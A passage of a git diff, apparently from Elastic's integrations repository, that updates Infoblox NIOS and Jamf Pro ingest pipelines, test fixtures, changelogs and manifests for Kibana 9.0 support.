+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{infoblox_nios.log.dhcp.relay.interface.ip}}}'
@@ -285,4 +332,8 @@ on_failure:
value: pipeline_error
- append:
field: error.message
- value: '{{{ _ingest.on_failure_message }}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml
index 66e344d34b9..7571764676c 100644
--- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml
+++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dns.yml
@@ -28,6 +28,7 @@ processors:
field: _tmp.timestamp
target_field: _tmp.timestamp
if: ctx._tmp?.timestamp != null && ctx.event?.timezone != null
+ tag: date_tmp_timestamp_tz
timezone: '{{{event.timezone}}}'
formats:
- dd-MMM-yyyy HH:mm:ss.SSS
@@ -38,10 +39,14 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
- date:
field: _tmp.timestamp
target_field: _tmp.timestamp
+ tag: date_tmp_timestamp_notz
if: ctx._tmp?.timestamp != null && ctx.event?.timezone == null
formats:
- dd-MMM-yyyy HH:mm:ss.SSS
@@ -52,7 +57,10 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
- script:
lang: painless
if: ctx.repeat_message != null
@@ -176,7 +184,10 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{client.ip}}}'
@@ -194,7 +205,10 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{server.ip}}}'
@@ -263,4 +277,7 @@ on_failure:
value: pipeline_error
- append:
field: error.message
- value: '{{{ _ingest.on_failure_message }}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
diff --git a/packages/infoblox_nios/manifest.yml b/packages/infoblox_nios/manifest.yml
index f4376dee8c5..c72450a9bbe 100644
--- a/packages/infoblox_nios/manifest.yml
+++ b/packages/infoblox_nios/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: infoblox_nios
title: Infoblox NIOS
-version: "1.27.1"
+version: "1.29.0"
description: Collect logs from Infoblox NIOS with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- dns_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/infoblox-nios-screenshot.png
title: Infoblox NIOS dashboard screenshot
diff --git a/packages/jamf_compliance_reporter/changelog.yml b/packages/jamf_compliance_reporter/changelog.yml
index 8de06c2e0a1..f5e1edfe7ff 100644
--- a/packages/jamf_compliance_reporter/changelog.yml
+++ b/packages/jamf_compliance_reporter/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.16.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.15.2"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/jamf_compliance_reporter/manifest.yml b/packages/jamf_compliance_reporter/manifest.yml
index 1d362c8ec19..c9622ee09bf 100644
--- a/packages/jamf_compliance_reporter/manifest.yml
+++ b/packages/jamf_compliance_reporter/manifest.yml
@@ -1,14 +1,14 @@
format_version: "3.0.3"
name: jamf_compliance_reporter
title: Jamf Compliance Reporter
-version: "1.15.2"
+version: "1.16.0"
description: Collect logs from Jamf Compliance Reporter with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/jamf-compliance-reporter-screenshot.png
title: Jamf Compliance Reporter Screenshot
diff --git a/packages/jamf_pro/changelog.yml b/packages/jamf_pro/changelog.yml
index f062981e631..69f05f24d46 100644
--- a/packages/jamf_pro/changelog.yml
+++ b/packages/jamf_pro/changelog.yml
@@ -1,4 +1,27 @@
# newer versions go on top
+- version: "0.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
+- version: "0.4.0"
+ changes:
+ - description: Improve host, source and event ECS mappings.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12760
+- version: "0.3.1"
+ changes:
+ - description: Fix related users containing empty string.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12872
+- version: "0.3.0"
+ changes:
+ - description: Normalize `jamf_pro.inventory.operating_system.version` and `os.version` to three-part versions.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12834
+ - description: Add `os.full` for known OS versions.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12834
- version: "0.2.6"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json
index 34e1ac513e0..feb6b5cdb2d 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-added.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "ComputerAdded",
"kind": "event"
},
"host": {
@@ -75,4 +76,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json
index 8461d7be398..753ada2e9ae 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-check-in.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "ComputerCheckIn",
"kind": "event"
},
"host": {
@@ -23,9 +24,11 @@
"region_iso_code": "SE-E",
"region_name": "Östergötland County"
},
+ "id": "9595866401",
"ip": [
"89.160.20.156"
- ]
+ ],
+ "name": "YMXA8"
},
"jamf_pro": {
"events": {
@@ -73,10 +76,13 @@
"icpurt@email.com"
]
},
+ "source": {
+ "ip": "89.160.20.156"
+ },
"user": {
"email": "icpurt@email.com",
"name": "John Doe"
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json
index a85fea15f03..12506f6b8d4 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-inventory-completed.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "ComputerInventoryCompleted",
"kind": "event"
},
"host": {
@@ -75,4 +76,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json
index 39667fb2b92..3ef139957ed 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-patch-policy-completed.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "ComputerPatchPolicyCompleted",
"kind": "event"
},
"host": {
@@ -23,9 +24,11 @@
"region_iso_code": "SE-E",
"region_name": "Östergötland County"
},
+ "id": "1039039321",
"ip": [
"89.160.20.156"
- ]
+ ],
+ "name": "2ECRW"
},
"jamf_pro": {
"events": {
@@ -79,10 +82,13 @@
"febjoz@email.com"
]
},
+ "source": {
+ "ip": "89.160.20.156"
+ },
"user": {
"email": "febjoz@email.com",
"name": "John Doe"
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json
index 626cef63627..b9c4f7c7787 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-policy-finished.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "ComputerPolicyFinished",
"kind": "event"
},
"host": {
@@ -23,9 +24,11 @@
"region_iso_code": "SE-E",
"region_name": "Östergötland County"
},
+ "id": "5836625775",
"ip": [
"89.160.20.156"
- ]
+ ],
+ "name": "GBTN2"
},
"jamf_pro": {
"events": {
@@ -73,10 +76,13 @@
"fsekfn@email.com"
]
},
+ "source": {
+ "ip": "89.160.20.156"
+ },
"user": {
"email": "fsekfn@email.com",
"name": "John Doe"
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json
index ab253f36c71..5ec9d6c5f96 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-computer-push-capability-changed.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "ComputerPushCapabilityChanged",
"kind": "event"
},
"host": {
@@ -75,4 +76,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json
index f2f03206f01..b05293152c8 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-device-added-to-dep.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "DeviceAddedToDEP",
"kind": "event"
},
"jamf_pro": {
@@ -27,4 +28,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json
index 99194514567..a38ca4beaf4 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-shutdown.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "JSSShutdown",
"kind": "event"
},
"jamf_pro": {
@@ -26,4 +27,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json
index f686e9413fb..ecd70c2e6bb 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-jss-startup.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "JSSStartup",
"kind": "event"
},
"jamf_pro": {
@@ -26,4 +27,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json
index 6cddd7da2fa..797449ca0a6 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-check-in.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "MobileDeviceCheckIn",
"kind": "event"
},
"host": {
@@ -71,4 +72,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json
index 556d3474cf2..51c6971033d 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-command-completed.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "MobileDeviceCommandCompleted",
"kind": "event"
},
"host": {
@@ -71,4 +72,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json
index 323597e4107..8b26928ea57 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-enrolled.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "MobileDeviceEnrolled",
"kind": "event"
},
"host": {
@@ -71,4 +72,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json
index 0a6cf9fcdf0..e44fec2e188 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-inventory-completed.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "MobileDeviceInventoryCompleted",
"kind": "event"
},
"host": {
@@ -71,4 +72,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json
index 316a1398542..502d8df94e8 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-push-sent.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "MobileDevicePushSent",
"kind": "event"
},
"host": {
@@ -71,4 +72,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json
index 3a738b9d9c7..632ac527ac1 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-mobile-device-unenrolled.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "MobileDeviceUnEnrolled",
"kind": "event"
},
"host": {
@@ -71,4 +72,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json
index 99f25d32f14..ffccda69771 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-patch-software-title-updated.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "PatchSoftwareTitleUpdated",
"kind": "event"
},
"jamf_pro": {
@@ -26,4 +27,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json
index 189e9409a3b..0e0d8ec7486 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-push-sent.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "PushSent",
"kind": "event"
},
"jamf_pro": {
@@ -23,4 +24,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json
index fcd64110fb7..758448095af 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-rest-api-operation.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "RestAPIOperation",
"kind": "event"
},
"jamf_pro": {
@@ -27,4 +28,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json
index 97bbad5a7c4..62bafe8531f 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-scep-challenge.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "SCEPChallenge",
"kind": "event"
},
"jamf_pro": {
@@ -55,4 +56,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json
index 10475802f54..c80ec9d6e0b 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-computer-membership-change.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "SmartGroupComputerMembershipChange",
"kind": "event"
},
"jamf_pro": {
@@ -29,4 +30,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json
index ddf7efe8a25..7eea67b204f 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-mobile-device-membership-change.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "SmartGroupMobileDeviceMembershipChange",
"kind": "event"
},
"jamf_pro": {
@@ -29,4 +30,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json
index 0b0d56de14c..1aaa6539c45 100644
--- a/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json
+++ b/packages/jamf_pro/data_stream/events/_dev/test/pipeline/test-smart-group-user-membership-change.json-expected.json
@@ -5,6 +5,7 @@
"version": "8.11.0"
},
"event": {
+ "action": "SmartGroupUserMembershipChange",
"kind": "event"
},
"jamf_pro": {
@@ -26,4 +27,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml b/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml
index 8571d496da6..2b6e13f0a19 100644
--- a/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/jamf_pro/data_stream/events/elasticsearch/ingest_pipeline/default.yml
@@ -137,6 +137,16 @@ processors:
# ECS compat #
##############
+- set:
+ field: host.name
+ copy_from: jamf_pro.events.event.computer.device_name
+ ignore_empty_value: true
+
+- set:
+ field: host.id
+ copy_from: jamf_pro.events.event.computer.udid
+ ignore_empty_value: true
+
- set:
field: host.address
copy_from: host.ip
@@ -162,6 +172,19 @@ processors:
field: event.kind
value: event
+- set:
+ field: event.action
+ copy_from: jamf_pro.events.webhook.webhook_event
+ ignore_empty_value: true
+
+- convert:
+ target_field: source.ip
+ type: ip
+ field: jamf_pro.events.event.computer.ip_address
+ if: ctx.jamf_pro?.events?.event?.computer?.ip_address != null && ctx.jamf_pro.events.event.computer.ip_address != ''
+ ignore_missing: true
+ ignore_failure: true
+
##################
# Error handling #
##################
diff --git a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json
index 2d9a1c189d7..faebae60f2d 100644
--- a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json
+++ b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory-groups-memberships.json-expected.json
@@ -29,11 +29,6 @@
"id": "3",
"udid": "5982CE36-4526-580B-B4B9-ECC6782535BC"
}
- },
- "related": {
- "user": [
- ""
- ]
}
},
{
@@ -65,11 +60,6 @@
"id": "4",
"udid": "DBAEF5A6-82D5-5327-A480-A904F42F3F98"
}
- },
- "related": {
- "user": [
- ""
- ]
}
}
]
diff --git a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json
index 9a9d81f3179..be78a4e431f 100644
--- a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json
+++ b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json
@@ -388,6 +388,70 @@
"purchasing": null,
"udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A"
}
+ },
+ {
+ "message": {
+ "applications": [
+ {
+ "bundleId": "com.apple.freeform",
+ "externalVersionId": "0",
+ "macAppStore": false,
+ "name": "Freeform.app",
+ "path": "/System/Applications/Freeform.app",
+ "sizeMegabytes": 57,
+ "updateAvailable": false,
+ "version": "2.4"
+ }
+ ],
+ "operatingSystem": {
+ "activeDirectoryStatus": "Not Bound",
+ "build": "23H311",
+ "extensionAttributes": [],
+ "fileVault2Status": "NOT_ENCRYPTED",
+ "name": "macOS",
+ "rapidSecurityResponse": null,
+ "softwareUpdateDeviceId": "J314cAP",
+ "supplementalBuildVersion": "23H311",
+ "version": "14.7"
+ },
+ "packageReceipts": null,
+ "plugins": null,
+ "printers": null,
+ "purchasing": null,
+ "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A"
+ }
+ },
+ {
+ "message": {
+ "applications": [
+ {
+ "bundleId": "com.apple.freeform",
+ "externalVersionId": "0",
+ "macAppStore": false,
+ "name": "Freeform.app",
+ "path": "/System/Applications/Freeform.app",
+ "sizeMegabytes": 57,
+ "updateAvailable": false,
+ "version": "2.4"
+ }
+ ],
+ "operatingSystem": {
+ "activeDirectoryStatus": "Not Bound",
+ "build": "23H311",
+ "extensionAttributes": [],
+ "fileVault2Status": "NOT_ENCRYPTED",
+ "name": "macOS",
+ "rapidSecurityResponse": null,
+ "softwareUpdateDeviceId": "J314cAP",
+ "supplementalBuildVersion": "23H311",
+ "version": "14"
+ },
+ "packageReceipts": null,
+ "plugins": null,
+ "printers": null,
+ "purchasing": null,
+ "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A"
+ }
}
]
}
\ No newline at end of file
diff --git a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json
index 71bc1aa348b..784bd0778d9 100644
--- a/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json
+++ b/packages/jamf_pro/data_stream/inventory/_dev/test/pipeline/test-inventory.json-expected.json
@@ -67,11 +67,6 @@
],
"udid": "D6DD5611-B15A-5AA1-B498-52A4CB17D18D"
}
- },
- "related": {
- "user": [
- ""
- ]
}
},
{
@@ -210,9 +205,6 @@
"related": {
"ip": [
"89.160.20.156"
- ],
- "user": [
- ""
]
}
},
@@ -310,9 +302,6 @@
"related": {
"ip": [
"89.160.20.156"
- ],
- "user": [
- ""
]
}
},
@@ -421,13 +410,87 @@
}
},
"os": {
+ "full": "sonoma",
"name": "macOS",
"version": "14.7.2"
+ }
+ },
+ {
+ "ecs": {
+ "version": "8.11.0"
},
- "related": {
- "user": [
- ""
- ]
+ "event": {
+ "kind": "asset"
+ },
+ "jamf_pro": {
+ "inventory": {
+ "applications": [
+ {
+ "bundle_id": "com.apple.freeform",
+ "external_version_id": "0",
+ "mac_app_store": false,
+ "name": "Freeform.app",
+ "path": "/System/Applications/Freeform.app",
+ "size_megabytes": 57,
+ "update_available": false,
+ "version": "2.4"
+ }
+ ],
+ "operating_system": {
+ "active_directory_status": "Not Bound",
+ "build": "23H311",
+ "file_vault2status": "NOT_ENCRYPTED",
+ "name": "macOS",
+ "software_update_device_id": "J314cAP",
+ "supplemental_build_version": "23H311",
+ "version": "14.7.0"
+ },
+ "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A"
+ }
+ },
+ "os": {
+ "full": "sonoma",
+ "name": "macOS",
+ "version": "14.7.0"
+ }
+ },
+ {
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "kind": "asset"
+ },
+ "jamf_pro": {
+ "inventory": {
+ "applications": [
+ {
+ "bundle_id": "com.apple.freeform",
+ "external_version_id": "0",
+ "mac_app_store": false,
+ "name": "Freeform.app",
+ "path": "/System/Applications/Freeform.app",
+ "size_megabytes": 57,
+ "update_available": false,
+ "version": "2.4"
+ }
+ ],
+ "operating_system": {
+ "active_directory_status": "Not Bound",
+ "build": "23H311",
+ "file_vault2status": "NOT_ENCRYPTED",
+ "name": "macOS",
+ "software_update_device_id": "J314cAP",
+ "supplemental_build_version": "23H311",
+ "version": "14.0.0"
+ },
+ "udid": "21ED95A7-FF9D-52BD-A55B-36D54585083A"
+ }
+ },
+ "os": {
+ "full": "sonoma",
+ "name": "macOS",
+ "version": "14.0.0"
}
}
]
diff --git a/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml b/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml
index 5b623b54158..a6fefd0d25f 100644
--- a/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/jamf_pro/data_stream/inventory/elasticsearch/ingest_pipeline/default.yml
@@ -123,6 +123,79 @@ processors:
field: os.name
copy_from: jamf_pro.inventory.operating_system.name
ignore_empty_value: true
+- script:
+ tag: script_normalize_operating_system_version
+ lang: painless
